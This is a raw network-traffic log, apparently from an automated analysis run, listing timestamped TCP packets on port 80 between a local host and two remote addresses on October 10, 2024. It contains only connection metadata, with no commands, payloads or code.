Oct 10, 2024 21:02:30.465696096 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465714931 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.470679998 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.470707893 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.470732927 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.470752954 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.470771074 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.470791101 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.470817089 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.470845938 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.470863104 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475497961 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475526094 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475550890 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475558996 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475578070 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475578070 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475605965 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475617886 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475630999 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475660086 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475701094 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475749969 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475805044 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475850105 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.475882053 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.475927114 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.480726004 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.480833054 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.480864048 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.480964899 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485728979 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485755920 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485781908 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485807896 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485832930 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485857964 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485882998 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485909939 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485934973 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485960960 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.485986948 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486011982 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486037016 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486063004 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486088037 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486113071 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486138105 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486162901 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486188889 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.486215115 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.773318052 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.783301115 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.805336952 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.805505037 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.895071030 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.900401115 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.900477886 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.900804043 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.905814886 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.365428925 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.415786028 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.503859043 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.504089117 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.508958101 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509165049 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509192944 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509232998 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509246111 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509269953 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509273052 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509324074 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509392023 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509419918 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509445906 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509453058 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509471893 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509500980 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509530067 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509588957 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509646893 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.509768963 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.509824038 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514314890 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514341116 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514394999 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514437914 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514497995 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514523983 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514554024 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514554977 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514585972 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514631033 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514647961 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514673948 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514699936 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514707088 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514725924 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514751911 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514754057 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514796972 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514799118 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514826059 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.514904022 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.514954090 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.519529104 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.519594908 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.519733906 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.519936085 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520040989 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520183086 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520215988 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520427942 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520453930 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520603895 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520629883 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520834923 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520859957 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.520885944 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521411896 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521439075 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521465063 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521491051 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521517038 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521543980 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521569967 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521595001 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521620989 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521646023 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521672010 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521697998 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521723986 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521749973 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521775007 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.521800995 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.524888992 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.862811089 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.870803118 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.876411915 CEST	80	50472	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.876601934 CEST	50472	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.988482952 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.993892908 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:31.993977070 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.994306087 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:31.999206066 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.652061939 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.653820038 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.654045105 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.658942938 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659122944 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659212112 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659219980 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659259081 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659286022 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659313917 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659332037 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659348965 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659358025 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659380913 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659401894 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659454107 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659455061 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659482002 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659503937 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659507990 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.659529924 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.659559011 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664349079 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664402962 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664448977 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664474010 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664479971 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664500952 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664522886 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664541960 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664575100 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664690971 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664736986 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664756060 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664788961 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664799929 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664845943 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664853096 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664871931 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.664902925 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.664994955 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.665041924 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.669403076 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.669539928 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.669573069 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.669658899 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.669739008 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670267105 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670701981 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670730114 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670754910 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670782089 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670808077 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670833111 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670859098 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670883894 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670908928 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.670934916 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.673574924 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.673603058 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.673649073 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.673675060 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.673703909 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.674427986 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.973143101 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.982456923 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:32.990091085 CEST	80	50477	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:32.990178108 CEST	50477	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.170443058 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.175817013 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.179476023 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.190597057 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.195547104 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.626709938 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.628025055 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.628432989 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.632996082 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633497953 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633563995 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633656979 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633685112 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633718014 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633732080 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633747101 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633759022 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633794069 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633795023 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633820057 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633821964 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633848906 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633866072 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.633879900 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633922100 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.633940935 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.634001017 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.634582043 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.634639025 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639038086 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639102936 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639323950 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639350891 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639377117 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639381886 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639425993 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639440060 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639468908 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639489889 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639555931 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639561892 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639589071 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639620066 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639642954 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639683008 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639719009 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639797926 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.639806032 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.639868021 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.644155979 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644221067 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:33.644715071 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644742012 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644768953 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644814014 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644840002 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644865036 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.644893885 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645010948 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645087957 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645349979 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645375967 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645555019 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645581007 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645606995 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645632029 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645658016 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645683050 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645730019 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645755053 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645780087 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645804882 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645849943 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645874977 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.645900965 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.646063089 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.649575949 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.933269978 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:33.978226900 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.129225969 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.134793997 CEST	80	50482	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:34.134860992 CEST	50482	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.253469944 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.447065115 CEST	50488	80	192.168.2.4	172.67.183.40
Oct 10, 2024 21:02:34.584779978 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:34.584803104 CEST	80	50488	172.67.183.40	192.168.2.4
Oct 10, 2024 21:02:34.585091114 CEST	50488	80	192.168.2.4	172.67.183.40
Oct 10, 2024 21:02:34.585112095 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.587464094 CEST	50488	80	192.168.2.4	172.67.183.40
Oct 10, 2024 21:02:34.588000059 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:34.592674017 CEST	80	50488	172.67.183.40	192.168.2.4
Oct 10, 2024 21:02:34.592909098 CEST	50488	80	192.168.2.4	172.67.183.40
Oct 10, 2024 21:02:34.592941999 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.030790091 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.031414986 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.031609058 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036494017 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036642075 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036695957 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036701918 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036725998 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036753893 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036767960 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036802053 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036808014 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036830902 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036858082 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036885023 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036890030 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036916018 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036921024 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036945105 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.036948919 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.036973953 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.037003994 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.041820049 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.041882038 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.042093039 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.042120934 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.042157888 CEST	50487	80	192.168.2.4	104.21.59.199
